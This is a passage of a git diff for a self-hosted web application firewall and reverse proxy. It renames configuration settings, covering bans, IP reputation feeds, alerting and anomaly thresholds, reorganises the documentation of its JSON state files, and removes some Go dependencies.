`git.example.com:gitea;blog.example.com:wordpress`.
- The supported apps are:
- `drupal`;
- `forgejo`, which gets gitea's fixes too;
- `ghost`;
- `gitea`;
- `mastodon`;
- `mediawiki`;
- `nextcloud`;
- `vaultwarden`;
- `wordpress`.
- The request's `Host` is matched by exact name, without its port and
without regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes. Set empty, `SWW_WAF_APPS` lists
no hostname.
- Unset, every app's fixes apply to every hostname.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` (default `30`): the most refusals a client
may get in a minute from a rule file, a trap path or the Core Rule Set, a
count or `off`. The next one bans the client (see "Attack detection" in
`SPEC.md`).
## Ban lengths, response and scope ## Ban lengths, response and scope
- `SWW_WAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`. - `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
- `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. - `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
A duration. duration.
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends - `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
within which breaking a limit again lengthens the next ban. A duration. within which breaking a limit again lengthens the next ban. A duration.
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): the longest ban for a - `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
broken limit; one that would be longer is permanent. A duration. that would be longer is permanent. A duration.
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign - `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
of attack. A duration. attack. A duration.
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client - `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
covers: the prefix length of its netblock, from 0 to 32. covers: the prefix length of its netblock, from 0 to 32.
## Reputation ## Reputation
- `SWW_WAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as - `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL `https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
without a user or a fragment. A URL listed twice is refused. without a user or a fragment. A URL listed twice is refused.
- `SWW_WAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its - `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
last try before it is fetched again. A duration of `1h` or more. try before it is fetched again. A duration of `1h` or more.
- `SWW_WAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or - `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
`log`. - `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
- `SWW_WAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus `dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
is refused, whatever its case or key. is refused, whatever its case or key.
- `SWW_WAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones - `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
through, such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
optional port, 53 when none is given. Unset, the host's resolver is used. port, 53 when none is given. Unset, the host's resolver is used.
- `SWW_WAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A - `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
control character in it is refused. control character in it is refused.
- `SWW_WAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence - `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
score, from 0 to 100, that is a hit. from 0 to 100, that is a hit.
- `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a - `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
day, a whole number above zero. AbuseIPDB's free accounts may make 1,000. whole number above zero. AbuseIPDB's free accounts may make 1,000.
- `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec - `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
without a user or a fragment; its decision list is at `v1/decisions` under it. user or a fragment; its decision list is at `v1/decisions` under it. Set
Set without the key, it is refused. So is a decision list URL that is also in without the key, it is refused. So is a decision list URL that is also in
`SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`. `SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for - `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
URL, it is refused. URL, it is refused.
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`, - `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
`limit:<percent>` or `log`, for DNS blocklist and AbuseIPDB hits. `log`, for DNS blocklist and AbuseIPDB hits.
- `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict - `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
or AbuseIPDB's score is used. A duration. AbuseIPDB's score is used. A duration.
- `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` (default `2000`): how long a query to a - `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
zone or a check with AbuseIPDB may take. A time in milliseconds. with AbuseIPDB may take. A duration.
## Alerting ## Alerting
- `SWW_WAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each - `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
alert as a JSON object. An `http` or `https` URL without a user or a fragment. as a JSON object. An `http` or `https` URL without a user or a fragment.
- `SWW_WAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, - `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
value. A value cannot hold a comma. value cannot hold a comma.
- `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook - `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
that receives each alert as a message, checked as the webhook URL is. receives each alert as a message, checked as the webhook URL is.
- `SWW_WAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each - `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
as the webhook URL is. webhook URL is.
- `SWW_WAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control - `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
character in it is refused. character in it is refused.
- `SWW_WAF_ALERT_EVENTS` (default - `SWW_ALERT_EVENTS` (default
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`): `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
the event types alerts are sent for, from those in [`alerts.md`](alerts.md) the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
but `summary`. Any other name is refused. but `summary`. Any other name is refused.
- `SWW_WAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its - `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
repeats are held back. A duration or `off`. repeats are held back. A duration or `off`.
- `SWW_WAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. - `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
A whole number above zero, or `off`. whole number above zero, or `off`.
## Anomaly thresholds ## Anomaly thresholds
Each scope has four thresholds: the most requests and the most body bytes Each scope has four thresholds: the most requests and the most body bytes
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNTED` counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names.
names. Requests are counts, bytes are sizes. Each is `off` by default. The four Requests are counts, bytes are sizes. Each is `off` by default. The four
thresholds per client are: thresholds per client are:
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`; - `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`; - `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`; - `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR`. - `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
The other scopes' names have another prefix before the same four endings, such The other scopes' names have another prefix before the same four endings, such
as `REQUESTS_PER_MINUTE`: as `REQUESTS_PER_MINUTE`:
- `SWW_WAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the - `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
netblock's length: netblock's length:
- `SWW_WAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4 - `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
client; client;
- `SWW_WAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6 - `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
client. client.
- `SWW_WAF_ANOMALY_ASN_...`: per AS number. - `SWW_ANOMALY_ASN_...`: per AS number.
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service. - `SWW_ANOMALY_TOTAL_...`: the whole service.
- `SWW_WAF_ANOMALY_WATCHED_NET_...`: each netblock in - `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
`SWW_WAF_ANOMALY_WATCHED_NETS`, as a whole. `SWW_WAF_ANOMALY_WATCHED_NETS` `SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
(default empty) is a list of name, `=` and netblock, such as
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
name, or with a bad netblock, is refused. So is a name used twice. name, or with a bad netblock, is refused. So is a name used twice.
@@ -417,8 +377,8 @@ Then mount its directory into the container read-only, and name the file:
```sh ```sh
docker run \ docker run \
-v /srv/app/tokens:/etc/sww/tokens:ro \ -v /srv/app/tokens:/etc/sww/tokens:ro \
-e SWW_COMMAND=waf \ -e SWW_COMMAND=discriminator \
-e SWW_WAF_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \ -e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
... ...
``` ```
@@ -431,83 +391,82 @@ A few limits are fixed rather than settings:
- at most 1,000 DNS blocklist queries are under way at once; - at most 1,000 DNS blocklist queries are under way at once;
- at most 20,000 anomaly counters are kept; - at most 20,000 anomaly counters are kept;
- each alert destination's queue holds at most 1,000 alerts; - each alert destination's queue holds at most 1,000 alerts;
- `waf` holds at most 10,000 answered requests awaiting their reports; - `discriminator` holds at most 10,000 answered requests awaiting their reports;
- `waf` refuses a request with more than 50 cookies or more than 100 header - `discriminator` refuses a request with more than 50 cookies or more than 100
fields (see "Answering in time" under "`waf`" in [`SPEC.md`](../SPEC.md)); header fields (see "Answering in time" under "`discriminator`" in
[`SPEC.md`](../SPEC.md));
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a - `rproxy` takes a request line and headers of at most 32 KiB, and closes a
kept-open connection idle for 120 seconds; kept-open connection idle for 120 seconds;
- `rproxy` reads at most 1 MiB of the body of `waf`'s answer, and answers `502` - `rproxy` reads at most 1 MiB of the body of `discriminator`'s answer, and
to a longer one. answers `502` to a longer one.
## `waf`'s answer and `rproxy`'s wait ## `discriminator`'s answer and `rproxy`'s wait
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is the longest a question waits on `SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
an outside source. Keep it well under `rproxy`'s it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, as the default is. No question waits for for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
`SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`, since the DNS blocklists and AbuseIPDB are in the background (see "Answering in time" under "`discriminator`" in
asked in the background (see "Answering in time" under "`waf`" in
[`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
## `rproxy` ## `rproxy`
`sww rproxy` reads the settings below and no others. They are read once at `sww rproxy` reads the settings below and no others. They are read once at
start, and an invalid value stops the start. Any can be given as a file, as a start, and an invalid value stops the start. None can be given as a file, since
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do. `rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
they do.
A time here is a whole number of milliseconds above zero, such as `2000`. A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or - `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
`https` URL with a host and an optional port, and nothing more. `rproxy` `https` URL with a host and an optional port, and nothing more. `rproxy`
speaks HTTP/1.1 to it. speaks HTTP/1.1 to it.
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits - `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
for `waf`'s answer, to a question and to a report. A time; never `off`. `discriminator`'s answer, to a question and to a report. A time; never `off`.
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done - `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
with a request when `waf` cannot be connected to, does not answer at all, or `discriminator` cannot be connected to, does not answer at all, or does not
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
to the app, and `deny` answers `503`. It does not apply to an answer `waf` answers `503`. It does not apply to an answer `discriminator` gives, such as
gives, such as an error. an error.
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A - `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
size or `off`. `off`.
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A - `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
size or `off`. `off`.
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may - `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
take to send its request line and headers. It then also bounds, from the end send its request line and headers. It then also bounds, from the end of the
of the headers, the time until the app has been sent the whole request. A time headers, the time until the app has been sent the whole request. A time or
or `off`. `off`.
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may - `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
take, from the end of the request to its last byte reaching the visitor. An from the end of the request to its last byte reaching the visitor. An answer
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so `rproxy` gives itself always has at least 10 seconds to be sent, and so do the
do the status and headers of the app's answer. A time or `off`. status and headers of the app's answer. A time or `off`.
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as - `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
`:9000`. - `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `https` URL with a host and an optional port, and nothing more.
`http` or `https` URL with a host and an optional port, and nothing more. - `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
- `SWW_RPROXY_TRUSTED_PROXIES` (default the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
`10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): the netblocks whose nothing. A client outside these netblocks cannot claim another address. Where
`X-Forwarded-For` is believed. Set but empty, it trusts nothing. A client other containers reach `rproxy` directly, or visitors on a private network
outside these netblocks cannot claim another address. Where other containers reach traefik, they can name another address in the header. Narrowing the
reach `rproxy` directly, or visitors on a private network reach traefik, they setting to traefik's own network closes that gap.
can name another address in the header. Narrowing the setting to traefik's own
network closes that gap.
## The image's command ## The image's command
`SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health `SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
check checks: `rproxy` or `waf` (see "Deployment" in [`SPEC.md`](../SPEC.md)). check checks: `rproxy` or `discriminator` (see "Deployment" in
It cannot be given as a file. [`SPEC.md`](../SPEC.md)). It cannot be given as a file.
## Where earlier settings went ## Where earlier settings went
Nothing reads these names any more: Nothing reads these names any more:
- `SWW_UPSTREAM_URL` is `SWW_RPROXY_UPSTREAM_URL`. - `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
- `SWW_TRUSTED_PROXIES` is `SWW_RPROXY_TRUSTED_PROXIES`. - `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
- `SWW_REQUEST_MAX_BYTES` is `SWW_RPROXY_MAX_REQUEST_SIZE`. - `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
- `SWW_RESPONSE_MAX_BYTES` is `SWW_RPROXY_MAX_RESPONSE_SIZE`. - `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are - `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
`SWW_RPROXY_MAX_REQUEST_TIME_MS`, in milliseconds. `SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are - `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
`SWW_RPROXY_MAX_RESPONSE_TIME_MS`, in milliseconds. `SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no - `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
takes a request line and headers of at most 32 KiB. takes a request line and headers of at most 32 KiB.
+23 -78
View File
@@ -1,28 +1,13 @@
# State and cache files # State files
The JSON files `waf` keeps, and what each holds. "Persistent state" in The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
top-level `version` of 1. a top-level `version` of 1.
- The state files are in `SWW_WAF_STATE_DIR`, `/var/lib/sww` by default. They
hold what cannot be fetched again, so back them up:
- `bans.json`;
- `clients.json`;
- `abuseipdb-checks-spent.json`;
- `alerts.json`.
- The cache files are in `SWW_WAF_CACHE_DIR`, `/var/cache/sww` by default. They
hold answers from outside services, which are asked again when a file is lost,
so the directory can be left out of backups:
- `lookups.json`;
- `lists.json`;
- `dnsbl.json`;
- `abuseipdb-scores.json`;
- `routewatch.json`.
## `bans.json` ## `bans.json`
Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
those `waf` made. Per entry: `discriminator` made. Per entry:
- `netblock`, `start` and `expires` (`null` for a permanent ban); - `netblock`, `start` and `expires` (`null` for a permanent ban);
- `cause`: `attack`, `limit`, `admin` or `crowdsec`; - `cause`: `attack`, `limit`, `admin` or `crowdsec`;
@@ -82,13 +67,21 @@ since it was first seen:
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is `blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
kept, and which nothing adds to. kept, and which nothing adds to.
## `abuseipdb-checks-spent.json` ## `lookups.json`
The AbuseIPDB checks spent today, so that a restart does not spend the daily GeoJS answers, one per line:
budget again:
- `day`: the day, in UTC; - `client`;
- `spent`: the checks spent on it. - `asn`, `as_name` and `country`;
- `answered`: when GeoJS answered;
- `used`: when the answer was last used.
## `reputation.json`
- the last good copy of each list fetched from a URL, with when it was last
tried;
- each DNS blocklist verdict still in use;
- AbuseIPDB's scores, and the checks spent today.
## `alerts.json` ## `alerts.json`
@@ -98,63 +91,15 @@ budget again:
- the alerts sent and held back in the current hour; - the alerts sent and held back in the current hour;
- the alerts waiting for each destination. - the alerts waiting for each destination.
## `lookups.json`
A cache file. GeoJS answers, one per line:
- `client`;
- `asn`, `as_name` and `country`;
- `answered`: when GeoJS answered;
- `used`: when the answer was last used.
## `lists.json`
A cache file. The last good copy of each list fetched from a URL, with when it
was last tried:
- `url`;
- `tried`: when it was last fetched or tried;
- `fetched` and `lines`: when the last good copy was fetched, and its lines,
comment lines included.
## `dnsbl.json`
A cache file. Each DNS blocklist verdict still in use, one per line:
- `zone` and `client`;
- `listed`: whether the zone lists the client;
- `fetched`: when the zone answered.
## `abuseipdb-scores.json`
A cache file. AbuseIPDB's scores still in use, one per line:
- `client`;
- `score`: from 0 to 100;
- `fetched`: when AbuseIPDB answered.
## `routewatch.json`
A cache file. routewatch's answers from the last hour, one per line:
- `client`;
- `netblock`: the netblock the client's address is announced in, empty for an
address without a live route;
- `asn`: the number of the AS that originates the netblock, 0 for none;
- `answered`: when routewatch answered.
## Sizes ## Sizes
- `clients.json`: about 1 KiB per client, about 20 MiB at the default - `clients.json`: about 1 KiB per client, about 20 MiB at the default
`SWW_WAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB `SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
of disk writes a day. disk writes a day.
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at - `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
the default `SWW_WAF_MAX_BANS`. Written every 15 minutes, a full file comes to the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
more. more.
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when - `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
full. full.
- `routewatch.json`: about 120 bytes per answer, at most about 12 MiB. - `reputation.json` and `alerts.json`: usually a few MiB or less.
- `abuseipdb-checks-spent.json`: a few bytes.
- `lists.json`, `dnsbl.json`, `abuseipdb-scores.json` and `alerts.json`: usually
a few MiB or less.
-10
View File
@@ -11,14 +11,12 @@ require (
github.com/maxmind/mmdbwriter v1.2.0 github.com/maxmind/mmdbwriter v1.2.0
github.com/oschwald/maxminddb-golang/v2 v2.7.0 github.com/oschwald/maxminddb-golang/v2 v2.7.0
github.com/prometheus/client_golang v1.24.1 github.com/prometheus/client_golang v1.24.1
github.com/spf13/viper v1.21.0
) )
require ( require (
github.com/beorn7/perks v1.0.1 // indirect github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/corazawaf/libinjection-go v0.3.4 // indirect github.com/corazawaf/libinjection-go v0.3.4 // indirect
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
github.com/goccy/go-json v0.10.5 // indirect github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect github.com/goccy/go-yaml v1.19.2 // indirect
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
@@ -28,22 +26,14 @@ require (
github.com/kylelemons/godebug v1.1.0 // indirect github.com/kylelemons/godebug v1.1.0 // indirect
github.com/magefile/mage v1.17.0 // indirect github.com/magefile/mage v1.17.0 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
github.com/prometheus/client_model v0.6.2 // indirect github.com/prometheus/client_model v0.6.2 // indirect
github.com/prometheus/common v0.70.1 // indirect github.com/prometheus/common v0.70.1 // indirect
github.com/prometheus/procfs v0.21.1 // indirect github.com/prometheus/procfs v0.21.1 // indirect
github.com/sagikazarmark/locafero v0.11.0 // indirect
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect
github.com/spf13/afero v1.15.0 // indirect
github.com/spf13/cast v1.10.0 // indirect
github.com/spf13/pflag v1.0.10 // indirect
github.com/subosito/gotenv v1.6.0 // indirect
github.com/tidwall/gjson v1.18.0 // indirect github.com/tidwall/gjson v1.18.0 // indirect
github.com/tidwall/match v1.1.1 // indirect github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect github.com/tidwall/pretty v1.2.1 // indirect
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
go.yaml.in/yaml/v3 v3.0.5 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/net v0.60.0 // indirect golang.org/x/net v0.60.0 // indirect
golang.org/x/sync v0.23.0 // indirect golang.org/x/sync v0.23.0 // indirect
-24
View File
@@ -16,12 +16,8 @@ github.com/corazawaf/libinjection-go v0.3.4 h1:jX2Tit2xZxYJJyVryNXucYBZtQqS7473x
github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk= github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0= github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk= github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4= github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
